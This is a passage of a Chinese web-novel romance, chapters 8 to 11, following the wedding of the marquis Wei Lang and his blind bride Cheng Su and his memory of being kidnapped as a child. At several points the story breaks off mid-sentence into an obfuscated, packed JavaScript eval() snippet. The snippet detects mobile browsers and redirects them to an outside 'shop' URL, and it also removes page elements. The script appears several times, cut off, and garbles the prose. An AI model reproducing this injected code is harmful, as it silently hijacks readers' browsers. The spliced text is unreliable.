卫琅身影一动,迅速没入黑暗中消失不见;程素同样飞快关上窗子,回到床上褪衣躺下,还凝神细听外面的动静。 没过一会儿,外面传来推门的动静。 白芷披衣出来看了。 脚步声来至窗下,外头的人轻声喊:“小檀?” 屋内静悄悄的没有回答。 白芷小心进门,见角落里的小檀睡得正酣,只觉哭笑不得。再走到床边,撩开幔帐,见程素同样睡得安稳,便伸手替她掖了掖被角后出去了。 待她走后,被子中的人睁开眼,终于小小地松了口气。 …… 那夜过后,卫琅当真再没翻墙而来。 只是他的礼物仍然隔三差五地送来,有时是知味斋的点心攒盒,有时是据说宫里赐下的文房四宝等等,有时是街头捏的一套泥人儿等零零碎碎的小玩意儿。 每天猜测着卫小侯爷下次会送些什么来,竟也成为一种乐趣,让程素等待出嫁的日子变得没那么难捱。 自从备嫁开始,云氏便什么事都不让她插手,只让她安心等着,无聊了就打发小檀给她念念书听。 小檀是幼年被转卖到京城来的,早年在程家时还学过几个字。 一别五年,小檀的识字水平只退不进。她又回到程家后,程素让她念书解闷,小丫头这才磕磕绊绊地从头学起。 小檀声音清脆地念:“九十日春光如过隙,怕春归又早春归。” 诗文里的春光转瞬即逝,三个月很快过去了。 转眼间,就到了大婚当日。 程素一早起来梳妆,云氏和白芷为她梳开乌发,口中念着吉祥话。 待妆成服毕,她便在人的牵引下,拜别母亲,踏上花轿,悠悠荡荡地去往她日后生活的地方。一路上锣鼓喧天,嬉闹嘈杂,震得她头晕目眩。 等再回过神来,她人已经坐在了雕花拔步床上。 身旁的丫鬟们捧来点心,小声道:“咱们老夫人和侯爷说了,您也累了一日了,还是先吃点垫垫肚子。” 程素微微颔首。 等卫琅终于从前院脱身回来,推门看到的便是拔步床上端坐的程素。 她纤颈微垂,双手交叠放在膝上,姿态优美而娴静。 在喜婆的指引下,他替她挑开大红的巾帕,露出光洁的额头,眉心的花钿,以及灼若芙蕖的面容。 卫琅甚至不敢再看几眼,便躲开目光,连手都不知道往哪放了。 程素不清楚,可屋子的丫鬟嬷嬷们看了不免掩嘴笑,被卫琅狠狠瞪了过去。不过今日是大喜的日子,可没人惯着卫小侯爷的毛病,众人仍笑盈盈地看热闹。 待二人喝完了合卺酒,卫琅更是不知道该干点什么了,他见屋里的喜婆丫鬟俱在盯着他们,只好目视前方,清了清嗓子:“先替她解了头发洗洗脸。” 丫鬟们替程素一一拆去头上繁复的发髻和头面。这些金灿灿的首饰璎珞戴了一天,纵然再好看也累得慌。 卫琅刚刚不好意思盯着程素瞧,这会儿反而盯着着她的背影发呆。 只见丫鬟拆下一根用来固定发髻的嵌红宝金钗,程素的长发便顺着肩头彻底滑落,乌莹光泽,让他不知不觉看直了眼。 直至程素将脸上的脂粉也都洗去,用帕子擦干净了脸,才转过身来。她乌发披散,面容皎洁如月,虽素着张脸,可眉目流转间,却胜过了满室烛辉彩绣。 丫鬟们还在可惜:“夫人今日的妆可好看呢,这就洗了去。” 卫琅虚咳一声,其实他觉得这样…… 就已经让人不敢看了。 待众人退下后,屋内便只有他们两人并肩在床上坐着。 洞房之夜该做点什么? 卫家这方面管得严,卫小侯爷名义上是个纨绔,却也算得上洁身自好。 奈何他身边还有一堆狐朋狗友,再加上他不久前刚出去随军半年,军营里的粗人浑话多,他什么荤的素的没被迫听过,也并非一窍不通的木头。 但那些人可不会告诉他,洞房之夜该跟他未来的媳妇说点什么。 他整个人憋了半天,只来得及说了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实这会儿他们已经没什么话好说了,毕竟两个人还不算熟悉,还是坐在洞房里,说什么都是徒增尴尬。卫小侯爷只好没话找话,又讲起他这半年外出的事。 那是他第一次带兵出去,起初隆兴帝也没打算他能立什么功,只是让他挂了个名,军中自有拿主意的人在,不过卫琅哪里是肯容人安排的性子。 他命人去当地摸清情况后,便迫不及待地拿盗匪开刀。起初也是阻力重重,待到后来连胜几次,军中上下对他无不信服,他才彻底掌握了手底下的人。 等讲到他如何用火攻烧掉某处的匪寨后,卫琅终于感觉到有点口干了。 他正准备起身去给自己倒杯茶,却听门外传来嬷嬷的咳嗽声:“侯爷,已经三更天了。明日一早夫人还要给老夫人敬茶,您二位还是早点歇息吧。” 这一声把卫琅吓得险些跳了起来。 等反应过来,他怒气冲冲地推门冲着院子大喊:“都没规矩了,谁允许你们半夜三更的在这里偷听。” 那来提醒的嬷嬷不紧不慢道:“侯爷说笑了,秋日夜寒,谁也不能蹲在窗下听您闲话到三更天。只是看屋里还亮着灯,特意来提醒您一声罢了。” 卫琅被气得够呛,只能气呼呼地出来盯着人走了,再绕着院子巡视一圈,把附近的丫鬟婆子们统统赶走。 等确认周围都没人了,才折回屋内。 程素仍安静地坐在床边等他。 卫琅不无心虚地解释:“人我都已经赶跑了,没人再来打扰我们。不过这天色确实晚了,你困不困……” 他说到一半险些咬住舌头,只觉这话的暗示性未免太强,赶紧改口:“你若是不困,我接着给你讲我剿匪的事儿。” 听他大有把讲故事将至天明的架势,程素决定还是她来。她膝上交叠的双手微微握紧,镇定自若道:“侯爷,夜色已深,我们还是早些歇下吧。” 9. 第九章 秋夜寂静,窗下的蟋蟀仍在兀自鸣叫着,屋内的大红喜烛静静燃烧着。 卫琅终于不说话了。 他的耳根发烫,眼神开始发飘。 素素这是什么意思呢。 如果她没有别的意思,应该就是他想的那个意思吧。 他深吸一口气,憋了半天,却只憋出了一句:“你放心吧,我不会胡来的。” 程素一怔,听他又含糊道:“若是日后你愿意了……我们再圆房。” 这下换作程素怔了。 她……没有情愿不情愿一说。 世间男女婚事少有自主,许多夫妻洞房之夜是头回见面的都是常有。忽然有个人肯这样委曲求全,不免让人疑惑。 程素长睫微垂,脸上的神情让人看不出在想什么。 心上人就近在咫尺,若说卫琅没有动心起念是不可能的。 只是他想过了,他与素素见面不过才两三回,圆房之夜怎么也不当在今晚,至少要等素素与他情投意合了再说。 他正要解释,就听程素忽然慢慢道:“这些日子,侯爷待程家的心意,家中上下无人不知。丫鬟有不懂事的,曾与我玩笑,说是侯爷那日在亭中是对我一见倾心,才会欣然同意这桩婚事。但我观侯爷为人,却不像见色忘身之辈……” 卫琅:“……” 呃,他要是说他就是呢。 程素又道:“……所以我一直在想,我此前是否与侯爷见过?” 一时之间,满室寂静。 过了好半天,卫琅终于找回了自己的声音。他顿了顿道:“是,我们的确见过,只是你都不记得了。” 所以他也就没再提。 程素露出了然的表情,她只是猜测,却没想到果真如此。 只是她常居闺中,后来又去了岭南,就算是这几年在外走动,却也不常见外人,实在想不起来,到底是什么时候与卫琅有过交集。以他这样鲜明的个性,只要见过一次,她应当就不会忘。 还是卫琅提醒道:“我七岁那年,有一次被人拐走关了好几天。直至上元节那日,我趁拐子们不备跑出来。可没跑多久就被人发现了,他们一路追赶,我慌不择路……便撞到了你的身上。” 他喉咙干涩,一开始说得并不顺畅,但慢慢说着就平静下来。 这事已经过去十多年了,可随着他的讲述,埋藏在脑海里的记忆也逐渐清晰。幼时的上元夜、奔跑和急促的呼吸、长街上的花灯重影,无数记忆纷沓而来。 程素沉思了好一会儿,终于从记忆深处找到了零星片段。 那应该是元和二十三年的事了。 当时的她也不过只有十一岁,那年的上元夜,她去街上看花灯,有个小孩子仿佛被人追赶,匆忙间撞在了她身上。 只是,她印象里那好像是个走失的女童?谁能想到那竟然是卫琅。 她迟疑着接道:“我记得等那伙人走了,我便让……韩元清送你去报官。” 当时二人青梅竹马,因少小便有婚约在,两家长辈并不拘着他们。像上元夜那样举城欢庆的日子,她出去看灯,长辈都会让韩元清作陪,再带上几个护卫。 卫琅嘴角的笑意收敛,面无表情道:“但是我咬了他一口,然后跑掉了。” 程素失笑。 她还记得,在他逃走后,韩元清捂着手腕跟她抱怨,以后不要随便救街头来路不明的小孩子了,人家未必领情。 虽然那人后来变成了那样,不过那时的情形似乎也不能怪韩元清,任谁好心帮忙,反而被咬一口都不会高兴。 程素认真地问:“所以侯爷在湖心亭见面那次,便一眼就认出了我。因为我曾经对侯爷有恩,您便应下了这桩婚事。” 卫琅故作轻松道:“……对啊。婚姻大事向来是长辈的意思,娶谁不都一样,何况你还是我的恩人。” 程素终于松了口气。 若是这样,就再好不过了。 无端的好意太过沉重,让人难以招架,还不如一开始就是各取所需。 二人又是久久无话。 卫琅见她低头不语,忍不住问:“你怎么不说话了?你在想什么。” 程素微微侧头,确认了他所在的方向后,冲他笑了笑:“我在想,侯爷当年长得什么样子,却怎么也想不起来了。” 当年她只是无心一瞥,已经过去十多年了,就算记不得也是正常。 卫琅只见她眼神虽然明澈,目光却还是有些涣散,甚至越过他望向了另一个方向,有点说不出的难受。 他心里忽然生出了一种莫名的冲动,抓起程素的一只手,放在自己脸侧,认真道:“等太医们治好了你的眼睛,你就知道我长什么样子了。” 程素愣住了。 卫琅等了几秒,也不见她有反应,这才恍然大悟,讪讪地松开了程素的手。 他这下坐不住了,准备出去喊丫鬟送床被子进来。既然决定了今夜暂时不圆房,他当然不会做出再冒犯程素的事,还故作大方道:“你先歇下吧,我让丫鬟们给我拿床被子,今晚在地上睡便是。” 程素摇头:“新婚之夜,侯爷若是着了凉,便是我的不是了。” 卫琅想了一想也不推拒,毕竟程素都不介意了,哪家的傻子谁会放着软乎乎的被窝不去睡,还要睡在地上。 他脱去外袍,吹灭烛火在床外侧躺下,仰面望向帐顶。屋内静了下来,只余两人此起彼伏的呼吸声。 许是累了一天了,程素的呼吸很快变得匀称绵长,应是已睡熟了。 她人就近在他的枕畔,卫琅甚至能嗅到她鬓发间有淡淡的木樨香气。 不过卫小侯爷却没有什么旖旎心思,反而有点说不清道不明的郁闷。 其实…… 他不是很想提起那桩陈年旧事。 若非程素问起,他宁可一直瞒下去。然而她已经问了,他也没法对她隐瞒。 他一时嘴硬,拿曾经的恩情作答,实在不像是给这桩婚事开了个好头。无数念头汹涌纷乱,直搅得卫琅心烦意乱。 他又不敢翻身,怕惊醒了一旁的程素,只能直挺挺躺着。 直到天将破晓前,卫琅才睡了过去。 就一会儿的功夫,他做了一个梦。 …… 卫琅七岁那年曾被人贩子拐过。 不过,他跟那些被人一块米糕、一根糖葫芦就能骗走的无知幼童不同,他算是误打误撞、自投罗网的。 作为定远侯府的嫡长孙,他生来尊贵,虽然三四岁上就没了双亲,可祖父和父亲叔叔们生前在军中的声望已到了顶点,足以让他京城里都横着走。 再加上祖母老夫人有意无意的纵容,更让他打小养成了任性妄为的脾气。 严寒冬日里,小卫琅骑着一匹小马,偷偷溜出府。 年节前后的侯府最无趣了,家里人丁太少,堂弟堂妹年龄还小,每逢过年过节,他的纨绔朋友们此时正被家里带着四处走亲访友,侯府里却冷清至极。 老夫人年事已高,她虽素日要强,从不在人前显露半分老态,可每逢佳节,她就难免想起昔年老侯爷和儿子们欢聚一堂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999095|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情景,不由黯然伤神,故而闭门谢客,故交应酬一律推辞。 卫琅虽然天生聪慧,却缺了那一根纤细的筋,他当时还不太能理解祖母的哀思,只觉得府里的气氛闷得慌。 他溜出门骑着小马溜溜达达,漫无目的地在街上乱转。 也不知走到了什么地方,离家的小侯爷一抬眼,就看到远处墙根下有人捂了幼童的口鼻,把人抱在怀里闷头就走。 卫琅想了想便把小马扔在路边,一个人悄悄跟了上去。没想到刚跟过一处拐角,就被人拎着后衣领两脚悬空,转头就见到来人咧着一口大黄牙:“呦,哪来的小尾巴,居然还有肥羊自动上门的。” 再刁钻的小孩子,也是懂得识时务的。小卫琅闭上了嘴,没有大哭,也没有大叫,仿佛吓傻了似的。 其实他并不害怕,因为他知道,自己一个人跑出来,侯府的护卫必然要四处寻的。往常他出走没过一会儿,就会把他捉回去,到祖母跟前领罚。他要走丢了,只怕京城都要被找翻了天。 这群拐子还不知道自己随手捡了一个烫手山芋,随手把小卫琅跟其他被拐来的孩子关在城南的一处破屋。 那屋子废弃已久,四面漏风,夜里便发出呜呜的声响,和身边孩童的哭声混在一起,吵得小卫琅头疼。 哭什么哭,有什么好哭的。 难不成大哭一场,家里人就能循着哭声找来了? 小侯爷一门心思想找机会偷跑出去。 然而他很快就发现,事情并没有他想的那样容易。 这一伙拐子大约有十几号人,男女皆有,南来北往,做惯了坑蒙拐骗的勾当。他们日夜轮流把守,稍有风吹草动都警觉得很。别提从他们眼皮子底下救出其他人了,就连他自己都找不到出逃的机会。 小卫琅蜷在角落里,左等右等,等到天黑又天亮,还是没等来府里找他的人。 天不怕地不怕的卫小侯爷终于有点后悔了。好在他天性刚强,不是坐以待毙的性子,最终还是被他寻着了机会,在两日后的上元夜偷跑出去。 留守的拐子很快追了上来。 小卫琅在昏暗的巷子中拼命狂奔,身后的拐子们穷追不舍,若是被他们再捉住,想也知道不会有什么好果子吃。 他的运气不算差,很快跑到了大街上。 那晚是上元夜,整个京城的人都上街看花灯。长街上花灯如昼,游人如织,卫琅仗着身形瘦小钻来钻去,借着人潮得以阻拦追兵一时半刻。可身后的拐子如狼似虎,紧追不放,他却渐渐力竭。 快跑,快跑回府里去。 万一被抓到就完了。 小侯爷虽长于富贵,却也本能地知道,这是他唯一一次出逃的机会。 他平生头一次尝到恐惧的滋味,哪怕胸腔的心脏狂跳不已,呼吸火辣辣地生疼,眼前的一切都变得模糊,花灯幢幢,人影摇动,分辨不清方向,他还是凭着本能不管不顾地向前横冲直撞,耳畔到处是被冲撞的游人惊呼、斥骂声。 也是他昏了头,竟一脑袋撞在迎面而来的一伙人身上,一下把几个仆人簇拥着的少女撞得一个踉跄。 虽饿了两日,可卫琅闷头冲过来的劲儿却不小,对方脸色发白,显然是疼得不轻,蹙眉俯身紧捂着手臂,而他自己也向前摔了个狗啃泥。 对方身边的护卫一把将还头昏脑涨的卫琅拎起来正要责骂,却被对方急忙劝住:“魏叔,那只是一个小孩子。” 卫琅的脚终于落在了地上,身子还没站稳,就被一只纤细的手扶住:“你叫什么名字,为什么跑得这样急?” 10. 第十章 日光穿透窗棂,洒在帐子上。 卫琅刚翻了个身,就听到耳畔有个模模糊糊的声音叫他:“侯爷,该起了。” 他向来不耐烦有人打扰他睡觉,眉头一皱刚要发作,对方又道:“……您一会儿还要陪夫人去给老夫人敬茶呢。” 卫琅猛地惊醒,往身旁一摸,才发现身旁的床铺已经空了。 再一抬眼,他发现程素不知何时已经坐在窗下梳妆,乌发垂垂如云,衬得她脸白如玉,有种温和慵懒的意味。听到声音,她侧首莞尔一笑:“侯爷醒了。” 卫琅的心一下子安定下来。 他换好衣服,接过丫鬟们递来的巾帕胡乱抹了把脸,就坐在一旁,眼巴巴地看着丫鬟们服侍程素梳发描眉。 今日是新婚后第一天,程素不再作闺中时的打扮,而是将鬓发绾在脑后,鬓边簪着嵌红宝金钗,矜贵沉静而娴雅。 她目不能视,又换了新地方,走路要人扶引,这个活儿往常是小檀来做的。 小丫鬟熟门熟路地拉起她的手刚要走,却听身后卫琅咳嗽了一声,不由得愣愣地回头,对上了冲她直瞪眼的新姑爷。 还是身旁的白芷反应快,一把拉过小檀的手,退步站在身后一步。 卫琅对她的识趣很满意,牵起了程素的手,感受着掌心的温度。她的手纤细微凉,比他想象中得还要柔软几分。 直至这一刻,他才切切实实地感受到,她已经嫁给他了。 程素只觉指尖一空,紧接着就被另一只修长有力的手紧紧握住,皮肤相贴的瞬间,陌生灼烫的温度也随之传来。 她听身前的人虚咳一声:“走吧。” 程素默默地跟上了。 卫琅还是头一次牵她走路,生怕她脚下有个磕磕碰碰,边走边紧张地盯着她,只差没亲自上手搀着程素。 一群人被他这副如临大敌的态度搞得哭笑不得,最后还是程素委婉地提醒,再磨蹭下去怕老夫人等急了,卫琅才不好意思地挠挠头,加快了速度。 等二人来到老夫人居住的松芝堂,老夫人和弟弟妹妹们早已等着了。 侯府早些年人丁凋零,卫琅的父母早逝、三叔四叔均战死沙场,除了卫琅的二伯如今还在边关驻守,家里只有老夫人和二房堂弟卫珏、三房的妹妹卫若等人。 按照规矩,新妇第一日是要给长辈敬茶的,偏偏程素双目失明。 卫琅早就盘算好了怎么过这一关了,他一进门就带着程素给祖母先磕头,刚一起身,就迫不及待地去抢旁边嬷嬷手里端着的茶托,口中道:“老夫人,孙儿这就给您敬茶了……” 不料老夫人身边的嬷嬷从小看他长大的,一看就知道他在打什么算盘,竟然一闪身躲了过去。 老夫人微微一笑:“今日还用不着你来孝顺,还是让素素来吧。” 卫琅无法,只得眼睁睁看着程素在嬷嬷的指点下,稳稳当当地端起茶盅。 她刚转向老夫人所坐的方向,对方便起身上前自然地接过了茶盅,还扶了一把程素,口中夸道:“好孩子,快起来吧。” 眼看这一敬一接顺利妥当,没有出现差错,卫琅这才松了口气。 这盏茶过后,一家人才说起了话。 卫琅本想给程素介绍二房三房的弟弟妹妹,不料他此前离家半年,程素常来府上作客,两边早已打过照面,真要说起来,甚至比他们之间还要熟络。 他还没开口,三房的堂妹卫若最先眼巴巴看向程素,怯生生地冲着她笑了一下:“……素素姐姐好。” 卫琅还没来得及纳罕,平日里性格最 羞怯的堂妹竟然也会主动跟人打招呼了, 就听身后传来带笑的女声:“若若,可该改口了。你素素姐姐都已经嫁给了阿琅,往后你可是要称呼她大嫂的。” 说话的乃是旁边一个年轻少妇,她看 上去二十七八岁年龄,人生得明艳,打扮 亦富贵,眉眼有种精明妩媚之感。要论辈 分,卫琅他们都要称呼一句四婶。 被她这样一说,卫若脸上顿时流露出 了些许局促不安的神情。 程素虽然看不见,却仿佛能察觉到她 的不安,温声道:“只是一个称呼,若若习惯了,叫什么都没关系。” 对方挑眉笑了笑:“你倒是好脾气,不过既已是一家人了,姐姐什么的叫着生 分,外人听了也要看阿琅的笑话。” 卫琅觉得这话有些说不出来的怪,下意识道:“若若是我妹妹,随她怎么叫,哪个敢闲着没事笑话她。” 老夫人坐在上首,早已不动声色地将一切收入眼底,此时终于开口提醒了一句:“好了,开饭吧。” 丫鬟们拎着食盒鱼贯而入,很快摆了一桌子,众人依次序围桌坐下。 府里人少,卫琅他们自小就习惯了每日陪老夫人一起用饭,一家子跟寻常人家那般坐在一起,也不至于太冷清。 今日饭桌上添了一个程素,卫琅打起了十二万分的精神,他自己还没吃几口,光忙活着问程素的口味,帮她夹菜去了。 光顾了一个还不够,毕竟祖母还在,他少不得夹几筷子以示孝心;除了四婶不好关照外,还要关注一下弟弟妹妹们。 堂妹卫若自小体弱,这些年能吃的东西翻来覆去那几样,卫琅心里都有数; 只有倒霉弟弟卫珏最好打发,他眼睁睁看着他兄长又胡乱夹了片姜给他,什么也不敢说,只能低下头默默扒饭。 一顿早饭在卫琅的上蹿下跳中,吃得仿佛成了他的独角戏。 眼看这顿饭接近了尾声,四夫人薛氏忍不住打趣道:“果然是新婚燕尔,这么多年还是头一次见过阿琅这么体贴人,素素你可当真好福气。” 卫琅大大咧咧道:“素素嫁了我,我自然要待她好。” 程素只是低头微笑。 茶余饭毕,众人还未散去,仍留在荣芝堂陪老夫人闲话,没过一会儿,只见老夫人身边侍候的李嬷嬷捧来一个匣子。 老夫人拿起那匣子,亲自交付到程素手中,郑重道:“这里是府里库房的钥匙以及簿册,你既已嫁入了长房,以后家里家外还有许多事,都要劳你费神了。” 程素温声应下了。 一旁的卫琅看了既喜且忧,他母亲早逝,二叔跟二婶远在边关,祖母年迈,程素嫁进来后,作为长孙媳妇,由她来打理府中庶务,本就顺利成章。 祖母把管家的事交到她手中,也是某种程度也是对她的认可。 然而程素双目失明,尚未治好,就算她想要管事也是有心无力。 卫琅正琢磨着以后如何能帮上程素的忙,又不让她为了眼睛的事伤心,就见老夫人转向旁边的卫若。 她一手拉着卫若,一手拉着程素,将二人的手掌交叠在一起,和蔼道:“若若,你长嫂有眼疾,又是刚来卫家,以后有什么事你要多帮帮她。” 卫若清秀苍白的小脸微微涨红,望了程素一眼,神情郑重地点头。 程素虽看不见,但也低头微笑,在老夫人的目光下,拉起了卫若的手,一老二小间仿佛有一种无形的默契流转。 卫琅:“……” 怎么感觉有点怪怪的。 扭头一看旁边的卫珏,这傻堂弟还浑然不觉地看着她们乐呵。 卫琅心中郁闷,眼角的余光瞥到旁边的四夫人薛氏脸上神色微微有些不自在。 他稍稍一想,便明白了个中缘由。 这也难怪,程素没嫁进来之前,府里的事务都是由这位四婶协助祖母打理的,突然来了个人分权,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他不由分说地用眼神示意丫鬟赶紧把这两只不要脸的小狗抱走,这才又拉起了程素的手,往院子里走去。 抱筠居正如其名,院落清寂,周边遍植翠竹,胜在清幽雅致。 卫琅却嫌这景色单调,让人在院子里打了一架秋千,又搬来不少奇花异草,廊下摆了数十盆金桂,香气袭人。 他都盘算过了,程素眼睛不好,平日里许多东西都看不见,多闻闻花香指不定心情能好些。等到了冬天,再让人都换成腊梅、水仙之流,时常变换花样,这样也能让这院子多几分热闹。 卫琅正打算拉着程素去试试角落里那架秋千,门口突然传来一阵喧哗声。 抬头一看,原来是李嬷嬷带着人抬了几口大箱子进了院子,再一问才知,箱子里装的是侯府往年的账簿和库房造册。 侯府家大业大,刚刚老夫人亲自交到程素手里的那个小匣子,不过是其中一小部分。若以后程素真要执掌中馈,少不了要把上上下下许多事盘个清楚。 卫琅见这阵仗,知道祖母是铁了心以后要把这些事交到程素手中了,却还是皱了皱眉:“怎么这么急?” 李嬷嬷恭敬道:“老夫人说了,夫人进门第一日,有些规矩早早立起来为好,也好让底下的人都知道。” 她指挥着众人将箱子抬进了院子东面的小书房,临走前还不忘打趣卫琅他们:“老夫人都交待过了,这几日早晚都不必再去陪她吃饭了。侯爷和少夫人新婚燕尔,理应多多相处才是。” 她们走后,就连丫鬟们也很快都识趣地退下了,书房里只留下他们二人。 屋里静悄悄的没有人说话,只有两人的呼吸声。卫琅望向身旁近在咫尺的人,喉结下意识动了动。 新婚燕尔,理应多多相处。 那么,新婚夫妇该干点什么呢? 11. 第十一章 程素并不知道身旁的卫琅正在想什么,不过丫鬟们一走,书房里陡然安静下来,气氛未免有些尴尬。 她想了想,主动道:“侯爷,可否让丫鬟们帮我把琴取来。若是不嫌弃的话,听我弹奏一曲可好。” 卫琅下意识想问她的眼睛,但听程素的语气如此笃定,便又把话咽了回去,连忙让丫鬟把琴取了来。 程素端坐在琴案前,信手试了几下音,问他想听什么。不学无术的卫小侯爷自是心虚,他这会儿连个曲名也想不出来,只道随她弹什么都好。 很快,琴声在书房内响起。 她随手弹了一曲《风入松》,琴声淙淙如流水,舒缓悠扬,给人一种山风吹拂、涤荡人心的清静平和之感。 卫琅一边听着曲子,一边目不转睛地盯着人看,从程素拨弄琴弦的纤长十指,到她腕间衣袖垂下的褶皱弧度,她线条优美的下颌、微垂的眼睫,乃至额发间的绒毛,每一寸、每一处都看得清清楚楚。 若是程素能看见,定会察觉出自己快要被他的灼灼目光给烤熟了。 但她暂时还看不见,他索性就肆无忌惮地盯着她看,左看右看,上看下看,只觉得自己怎么看也看不够。 卫琅此时才有些后悔,当年陛下教他画画时,他没上心学,要不让这会儿就能大笔一挥把弹琴的素素画下来。 回头就让齐文羽那些人瞧瞧,这京城有哪家闺秀能像素素这么厉害,能把琴弹得这么好,长得也这么好,整个人从头到脚没有一点不好的地方。 恰巧一曲终了,程素正欲开口,对面却爆发出一阵响亮的掌声与喝彩声。 “好!弹得好!” 卫琅大力鼓掌:“此曲只应天上有,人间能得几回闻!素素,你弹得真是太好了!我从来没听过这么好听的曲子!” 程素:“……” 她险些被卫琅的反应吓了一跳,脸上一热,竟生出几分茫然和窘迫感。 她自幼学琴,也曾受过人夸赞,知道自己大约学得还算不错。但昔日听过她弹琴的人,除了家人外,也不过寥寥,从未有过反应这么强烈的。 明明她弹的只是一首清宁安神的曲子啊,也值得这样喝彩吗? 程素茫然了一瞬,很快反应过来,客气道:“侯爷谬赞了。” 卫琅不满道:“怎么能说是谬赞呢,难道你在怀疑我的品味?” 程素:“……我没有这个意思。罢了,既然侯爷喜欢,我继续弹下去吧。” 她又弹了一曲《山居吟》,弹完之后,仍然是卫琅毫不吝啬的掌声和令人坐立难安的夸赞。 程素不为所动,仍心平气和地弹了下去,一曲接着一曲,每一支都格外悠缓舒长、淡泊宁静,让人听了越发心平气和。 卫琅确实也慢慢静下来了。 他听着听着,只觉眼皮逐渐沉重,听琴的姿势也变成了支着下巴,没一会儿就闭上了眼,头一下一下地往前点着。 程素虽目不能视,不过等她这一曲弹完后,屋里却再也没响起卫琅的掌声,反而满室沉寂,便心下了然。 昨天夜里这位小侯爷只怕没怎么睡好,再听她弹的这些曲子,难免会犯困。 也难为他还能坚持这么长时间了。 她没有出声喊他,起身摸索着,小心地一点点绕过琴案和屋里其他家具,来到屋外让丫鬟们叫来了木通等随从,把卫琅搬到书房窗下的一张木榻上休息。 卫琅个高腿长,本就不是轻易能搬动的,何况还要在不惊醒他的前提下。才刚把人架起来,原本睡着的人就感觉出有人在扒拉自己,不满地嘟囔了几声。 睡梦中的卫琅意识到不对,眼睑微动,正要睁开眼,却听程素轻声道:“动作轻些,别把侯爷惊醒了。” 他一个激灵,瞬间想起了前因后果。他居然听弹琴听到睡着了! 完了,这下他可没脸面对素素了。 哪有前脚把人吹得天花乱坠,后面自己就一头睡了过去的,这不是自打脸吗。 卫琅闭着眼,任凭木通他们搬动着他的身子,心里快速想着对策。 那木榻就在书房角落里,没几步就到了,众人眼看要把人挪到地方了,他突然计上心来,装作迷糊道:“素素呢?” 屋内瞬间静了下来,随后是程素道:“侯爷,我在这里。” 卫琅不说话,闭着眼在空气里乱抓几下,就听程素叹了口气,握住了他乱动的手,轻声哄道:“侯爷,秋日天气寒凉,我们移步到榻上去休息可好。” 卫琅不说话了。 程素只当他又睡过去了,听着众人将他安置在榻上,正打算抽手离去,却突然一个重心不稳,整个人被猛地一拉,跌进了卫琅怀里,一时进退不得,挣扎了几下也不见对方放开,脸上渐渐烫了起来。 屋内霎时变得格外安静,虽然看不见众人此时的神情,可程素也能想象出来。 她强迫自己定了定心神,对其他人道:“好了,你们都下去吧。” 木通和丫鬟们忙不迭地退下,还不忘为他们带上了门。 等人都走光了,程素又轻轻挣扎了一下,发现还是推不动身上那只胳膊,便睁着眼望向头顶,心里有些气闷。 她自从看不见之后,平添了许多烦恼,但也鲜少有像此刻这样,很想扭头看清楚身边人脸上此时是什么神情。 是在旁边闭着眼装睡,还是在睁着一双眼好整以暇地看她的笑话。 但出乎她意料的是,她浑身僵硬地等了好一会儿,卫琅也并没有毛手毛脚,只是安安分分地抱着她,脸靠在她的肩侧,仿佛她是个柔软的大号枕头。 程素不知不觉松了口气。 其实……就算卫琅真的想做什么,他们已经成亲了,她也不好说什么。只是他这样装傻作弄人,实在不是君子所为。 她自己一个人生了会儿闷气,又等了一会儿,也不见身旁人有动静,心头那股气也就慢慢散了,正想轻手轻脚爬起来,身旁的人忽然翻了个身,让她的心跳也乱了一拍。 好在卫琅只是调整了姿势,改成他一只手搂着程素入睡,让她枕在他肩上。这样一来,程素便彻底陷入他怀里了。 她挣扎了几下,发现自己还是被禁锢着无法脱身,既不好叫破身旁人是在装睡,也不好起身硬要挣脱。 既来之则安之。 程素只好如是在心里劝着自己,索性也闭上了眼。 起初她只是闭眼休憩,等卫琅什么时候装够了醒来,再好好与他讲道理,然而就这靠着身旁的人,她竟然不知不觉中慢慢安然地睡着了。 察觉到怀里的人慢慢放松下来,清浅的呼吸声也逐渐变得绵长,卫琅总算睁开了眼,美滋滋地把怀里的人看了又看,又低头嗅了嗅程素鬓发间的香气,这才抱着人心满意足地也睡了过去。 …… 卫琅这一觉睡得很长很安心。 等他一觉醒来时,天已近傍晚。 他还模模糊糊记得他抱着程素一起睡着的,忍不住收紧了胳膊,怀里柔软的触感让他嘴角的笑意僵在脸上。 ……怎么感觉好像不太对? 他猛地一睁眼,发现他身上还盖着被子,怀里的人却没了踪影,取而代之的一个柔软的长条引枕。 不用说,素素又在他睡着的时候跑了。 卫琅很是郁闷。 且不说程素目不能视、行动不便,难道他睡着了以后真的像头死猪,怎么一个大活人三番两次从他身边离开,他怎么睡到一点知觉都没有? 好在人就在家里也跑不了,他一骨碌爬起来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 